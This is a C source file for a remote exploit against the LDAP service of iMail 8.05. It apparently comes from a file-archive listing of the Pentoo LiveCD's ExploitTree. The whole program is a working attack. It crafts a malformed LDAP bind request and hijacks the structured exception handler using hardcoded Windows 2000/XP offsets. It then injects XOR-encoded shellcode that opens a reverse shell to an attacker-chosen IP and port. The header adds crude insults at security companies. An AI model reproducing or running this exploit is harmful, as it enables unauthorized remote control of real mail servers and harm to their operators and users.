home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / imail / imailRemoteExploit.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  8KB  |  247 lines

  1. /******************************************************************/
  2. /* [Crpt] iMail v8.05 LDAP service remote sploit by kralor [Crpt] */
  3. /******************************************************************/
  4. /* fuck iDefense                                                  */
  5. /* fuck k-otik                                                    */
  6. /* fuck private exploits                                          */
  7. /* in other words, fuck you all security money makers and         */
  8. /* private exploits exchangers.                                   */
  9. /* lolo xXx for her patience while these long nights coding       */
  10. /* and for errr.. you know what :)                                */
  11. /******************************************************************/
  12. /* informations: www.coromputer.net,irc undernet #coromputer      */
  13. /******************************************************************/
  14.  
  15. #include <stdio.h>
  16. #include <stdlib.h>
  17. #include <string.h>
  18. #include <windows.h>
  19. #include <winsock.h>
  20.  
  21. #pragma comment (lib,"ws2_32")
  22.  
  23. // EBP+~0xB6 (ebp+ecx-4) (Structed Exception Handler)
  24. #define SEH_ADDR0x50FFFFFF
  25.  
  26. /* for win2k offset:
  27. --- jmp dword ptr [ebx]
  28. */
  29. #define HIJACKED_2K_EVL0x0043BD8B// (8.05 eval)
  30. #define HIJACKED_2K_EXP0x1000F7B0// (8.05 express)
  31. #define HIJACKED_2K_PRO0x1000F7A9// (8.05 pro (not sure :)))
  32.  
  33. /* for winXP offset:
  34. --- pop esi
  35. --- pop ebx
  36. --- ret
  37. */
  38.  
  39. #define HIJACKED_XP_EVL0x0041F5C7// (8.05 eval)
  40. #define HIJACKED_XP_EXP0x100106BC// (8.05 express)
  41. #define HIJACKED_XP_PRO0x100103CC// (8.05 pro) (not sure :)))
  42.  
  43. // sequence of 4 opcodes
  44. #define HOP0xd4 // host opcode
  45. #define POP0xd7 // port opcode
  46.  
  47. int cnx(char *host, int port)
  48. {
  49.   int sock;
  50.   struct sockaddr_in yeah;
  51.   struct hostent *she;
  52.  
  53.   sock=socket(AF_INET,SOCK_STREAM,0);
  54.   if(!sock) {
  55.     printf("error: unable to create socket\r\n");
  56.     return 0;
  57.   }
  58.   yeah.sin_family=AF_INET; 
  59.   yeah.sin_addr.s_addr=inet_addr(host); 
  60.   yeah.sin_port=htons((u_short)port);
  61.  
  62.   if((she=gethostbyname(host))!=NULL) { 
  63.     memcpy((char *)&yeah.sin_addr,she->h_addr,she->h_length); 
  64.   } else { 
  65.     if((yeah.sin_addr.s_addr=inet_addr(host))==INADDR_NONE) {
  66.       printf("error: cannot resolve host\r\n");
  67.       return 0;
  68.     } 
  69.   }
  70.   printf("[+] Connecting to %-30s ...",host);
  71.   if(connect(sock,(struct sockaddr*)&yeah,sizeof(yeah))!=0) {
  72.     printf("error: connection refused\r\n");
  73.     return 0;
  74.   }
  75.   printf("Done\r\n");
  76.   return sock;
  77. }
  78.  
  79. void banner(void)
  80. {
  81.   printf("\r\n   [Crpt] iMail LDAP service v3.12.10.3/v8.05 remote sploit by kralor [Crpt]\r\n");
  82.   printf("\t\t www.coromputer.net && undernet #coromputer\r\n\r\n");
  83.   return;
  84. }
  85.  
  86. void syntax(char *prog)
  87. {
  88.   printf("\r\nsyntax: %s <host> <your_ip> <your_port> <version> [OSver]\r\n\r\n",prog);
  89.   printf("<version>\t0\t8.05 professional\r\n");
  90.   printf("         \t1\t8.05 express\r\n");
  91.   printf("         \t2\t8.05 evaluation\r\n---\r\n");
  92.   printf("[OSver]  \t0\twindows 2000 universal [default]\r\n");
  93.   printf("         \t1\twindows XP   universal\r\n");
  94.   exit(0);
  95. }
  96.  
  97.  
  98.  
  99. int main(int argc, char *argv[])
  100. {
  101.   int sock,bytes,target,osver=0;
  102.   WSADATA wsaData;
  103.   char buffer[8095];
  104.   unsigned long host,port;
  105.   unsigned int i;
  106.   char req1[] =
  107.     "\x30\x82"/* bind request*/
  108.     "\x0a\x3d"/* bind req len*/
  109.     /* msg id*/
  110.     "\x02"/* integer*/
  111.     "\x01"/* length*/
  112.     "\x01"/* value*/
  113.     "\x60"/* bind request*/
  114.     "\x82"/* msg length 2bytes*/
  115.     "\x01\x36"/* msg length*/
  116.     /* LDAP ver */
  117.     "\x02"/* integer*/
  118.     "\xff"/* length*/
  119.     "\x03"/* value*/
  120.     "\x05\x00"/* DN NULL*/
  121.     "\x80\x00"; /* Auth simple*/
  122.  
  123.   char shellc0de[] =   /* sizeof(shellc0de+xorer) == 334 bytes */
  124.     /* classic xorer */
  125.     "\x90"
  126.     "\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x5b\x80\xc3\x10\x33\xc9\x66"
  127.     "\xb9\x33\x01\x80\x33\x95\x43\xe2\xfa"
  128.     /* reverse remote shell */
  129.     "\x14\x79\x05\x94\x95\x95\x1e\x61\xc0\xc3\xf1\x34\xa5\x95\x95\x95"
  130.     "\x1e\xd5\x99\x1e\xe5\x89\x38\x1e\xfd\x9d\x7e\x95\x1e\x50\xcb\xc8"
  131.     "\x1c\x93\x6a\xa3\xfd\x1b\xdb\x9b\x79\x7d\x38\x95\x95\x95\xfd\xa6"
  132.     "\xa7\x95\x95\xfd\xe2\xe6\xa7\xca\xc1\x6a\x45\x1e\x6d\xc2\xfd\x4c"
  133.     "\x9c\x60\x38\x7d\x06\x95\x95\x95\xa6\x5c\xc4\xc4\xc4\xc4\xd4\xc4"
  134.     "\xd4\xc4\x6a\x45\x1c\xd3\xb1\xc2\xfd\x79\x6c\x3f\xf5\x7d\xec\x95"
  135.     "\x95\x95\xfd\xd4\xd4\xd4\xd4\xfd\xd7\xd7\xd7\xd7\x1e\x59\xff\x85"
  136.     "\xc4\x6a\xe3\xb1\x6a\x45\xfd\xf6\xf8\xf1\x95\x1c\xf3\xa5\x6a\xa3"
  137.     "\xfd\xe7\x6b\x26\x83\x7d\xc4\x95\x95\x95\x1c\xd3\x8b\x16\x79\xc1"
  138.     "\x18\xa9\xb1\xa6\x55\xa6\x5c\x16\x54\x80\x3e\x77\x68\x53\xd1\xb1"
  139.     "\x85\xd1\x6b\xd1\xb1\xa8\x6b\xd1\xb1\xa9\x1e\xd3\xb1\x1c\xd1\xb1"
  140.     "\xdd\x1c\xd1\xb1\xd9\x1c\xd1\xb1\xc5\x18\xd1\xb1\x85\xc1\xc5\xc4"
  141.     "\xc4\xc4\xff\x94\xc4\xc4\x6a\xe3\xa5\xc4\x6a\xc3\x8b\x6a\xa3\xfd"
  142.     "\x7a\x5b\x75\xf5\x7d\x97\x95\x95\x95\x6a\x45\xc6\xc0\xc3\xc2\x1e"
  143.     "\xf9\xb1\x8d\x1e\xd0\xa9\x1e\xc1\x90\xed\x96\x40\x1e\xdf\x8d\x1e"
  144.     "\xcf\xb5\x96\x48\x76\xa7\xdc\x1e\xa1\x1e\x96\x60\xa6\x6a\x69\xa6"
  145.     "\x55\x39\xaf\x51\xe1\x92\x54\x5a\x98\x96\x6d\x7e\x67\xae\xe9\xb1"
  146.     "\x81\xe0\x74\x1e\xcf\xb1\x96\x48\xf3\x1e\x99\xde\x1e\xcf\x89\x96"
  147.     "\x48\x1e\x91\x1e\x96\x50\x7e\x97\xa6\x55\x1e\x40\xca\xcb\xc8\xce"
  148.     "\x57\x91\x95";
  149.  
  150.   banner();
  151.  
  152.   if(argc<5||argc>6)
  153.     syntax(argv[0]);
  154.  
  155.   host=inet_addr(argv[2])^0x95959595;
  156.   port=atoi(argv[3]);
  157.  
  158.   if(!isdigit(argv[4][0])||strlen(argv[4])>1) {
  159.     printf("error: <version> must be one digit\r\n");
  160.     syntax(argv[0]);
  161.     return -1;
  162.   }
  163.   target=atoi(argv[4]);
  164.   if(target<0||target>2) {
  165.     printf("error: <version> must be 0, 1 or 2\r\n");
  166.     syntax(argv[0]);
  167.     return -1;
  168.   }
  169.   if(argc==6) {
  170.     if(!isdigit(argv[5][0])||strlen(argv[5])>1) {
  171.       printf("error: [OSver] must be one digit\r\n");
  172.       syntax(argv[0]);
  173.       return -1;
  174.     }
  175.     osver=atoi(argv[5]);
  176.     if(osver<0||osver>1) {
  177.       printf("error: [OSver] must be 0 or 1\r\n");
  178.       syntax(argv[0]);
  179.       return -1;
  180.     }
  181.   }
  182.   if(port<=0||port>65535) {
  183.     printf("error: <port> must be between 1 and 65535\r\n");
  184.     syntax(argv[0]);
  185.     return -1;
  186.   }
  187.   port=htons((unsigned short)port);
  188.   port=port<<16;
  189.   port+=0x0002;
  190.   port=port^0x95959595;
  191.  
  192.   for(i=0;i<sizeof(shellc0de);i++) {
  193.     if((unsigned char)shellc0de[i]==HOP&&(unsigned char)shellc0de[i+1]==HOP)
  194.       if((unsigned char)shellc0de[i+2]==HOP&&(unsigned char)shellc0de[i+3]==HOP) {
  195.     memcpy(&shellc0de[i],&host,4);
  196.     host=0;
  197.       }
  198.     if((unsigned char)shellc0de[i]==POP&&(unsigned char)shellc0de[i+1]==POP)
  199.       if((unsigned char)shellc0de[i+2]==POP&&(unsigned char)shellc0de[i+3]==POP) {
  200.     memcpy(&shellc0de[i],&port,4);
  201.     port=0;
  202.       }
  203.   }
  204.  
  205.   if(host||port) {
  206.     printf("error: unabled to find ip/port sequence in shellc0de\r\n");
  207.     return -1;
  208.   }
  209.  
  210.   if(WSAStartup(0x0101,&wsaData)!=0) {
  211.     printf("error: unable to load winsock\r\n");
  212.     return -1;
  213.   }
  214.  
  215.   sock=cnx(argv[1],389);
  216.   if(!sock)
  217.     return -1;
  218.   /* <----- magic packet -----> */
  219.   strncpy(buffer,req1,13);
  220.   memset(&buffer[13],0x90,7010);
  221.   *(unsigned long*)&buffer[13] = SEH_ADDR;
  222.   if(!osver) {
  223.     if(!target)
  224.       *(unsigned long*)&buffer[17] = HIJACKED_2K_PRO;
  225.     else if(target==1)
  226.       *(unsigned long*)&buffer[17] = HIJACKED_2K_EXP;
  227.     else
  228.       *(unsigned long*)&buffer[17] = HIJACKED_2K_EVL;
  229.   } else {
  230.     if(!target)
  231.       *(unsigned long*)&buffer[17] = HIJACKED_XP_PRO;
  232.     else if(target==1)
  233.       *(unsigned long*)&buffer[17] = HIJACKED_XP_EXP;
  234.     else
  235.       *(unsigned long*)&buffer[17] = HIJACKED_XP_EVL;
  236.   }
  237.   *(unsigned long*)&buffer[21] = 0x90909013; // to avoid 0x00 <unwanted instructions> on winXP
  238.   memcpy(&buffer[200],shellc0de,sizeof(shellc0de)-1);
  239.   memcpy(&buffer[7000+23],&req1[10],4);
  240.   printf("[+] Sending magic packet                         ...");
  241.   bytes=send(sock,buffer,sizeof(buffer)-1,0);
  242.   printf("Done\r\n");
  243.   if(bytes==0) { printf("error: send()\r\n"); }
  244.   closesocket(sock);
  245.   return 0;
  246. }
  247.